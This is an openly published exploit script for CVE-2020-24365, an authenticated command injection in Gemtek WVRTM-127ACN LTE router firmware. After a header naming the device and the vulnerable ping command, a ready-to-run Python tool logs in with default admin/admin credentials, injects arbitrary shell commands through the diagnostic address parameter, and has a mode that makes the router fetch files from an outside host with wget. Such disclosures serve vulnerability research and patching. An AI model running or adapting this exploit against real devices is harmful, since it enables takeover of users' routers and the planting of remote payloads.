Gemtek WVRTM-127ACN 01.01.02.141 Command Injection

# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection 
# Date: 13/09/2020                                         
# Exploit Author: Gabriele Zuddas                         
# Version: 01.01.02.127, 01.01.02.141                      
# CVE : CVE-2020-24365                                     


Service Provider :   Linkem
Product Name :   LTE CPE
Model ID :   WVRTM-127ACN
Serial ID :  GMK170418011089
IMEI :   XXXXXXXXXXXXX
ICCID :   XXXXXXXXXXXXXXXXXX
Firmware Version :   01.01.02.141
Firmware Creation Date :   May 15 13:04:30 CST 2019
Bootrom Version :   U-Boot 1.1.3
Bootrom Creation Date :   Oct 23 2015 - 16:03:05
LTE Support Band :   42,43


Injecting happens here:

sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&


Exploit has been tested on older verions too:
    Firmware Version:   01.01.02.127
    Firmware Creation Date :   May 23 15:34:10 CST 2018

"""

import requests, time, argparse, re, sys

class Exploit():

    CVE = "CVE-2020-24365"

    def __init__(self, args):
        self.args = args
        self.session = requests.Session()

    def login(self):
        s = self.session
        r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
        if "sid" not in s.cookies:
            print("[!] Login failed.")
            exit(1)
        sid = s.cookies["sid"]
        s.headers = {"sid": sid}
        print(f"[*] Login successful! (sid={sid})")

    def now(self):
        return int(time.time() * 1000)

    def exploit(self, command):
        self.login()

        with self.session as s:
            payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"

            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")

            #Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")

            #TODO: eventually parse content with regex to clean out the output
            c = re.findall(r"(?<=ping: bad address ')(.*)(?=')", content)
            print(content)
            print(c[0])

            if len(c) > 0:
                return c[0]
            else:
                return False

    def download_file(self, url):
        filename = url.rsplit('/', 1)[-1]

        if self.args.file is not None:
            print(f"[*] Attempting download of file '{filename}' from {url} ...")

            if self.exploit(f"wget {url} -O /tmp/{filename}"):
                print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
                print(self.exploit(f"du -h /tmp/{filename}"))
                return True
            else:
                print(f"[!] Failed to download {filename} from {url}")
                return False

    def run(self):
        if self.args.command is not None:
            print(self.exploit(self.args.command))
            exit()
        if self.args.file is not None:
            self.download_file(self.args.file)
            exit()

if __name__ == "__main__":
    # Create the parser and add arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")
    parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
    parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
    parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")

    parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")

    args = parser.parse_args()

    # Run exploit
    X = Exploit(args)
    if len(sys.argv) > 1:
        print(f"[*] Exploiting {X.CVE} ...")
        X.run()
    else:
        parser.print_help(sys.stderr)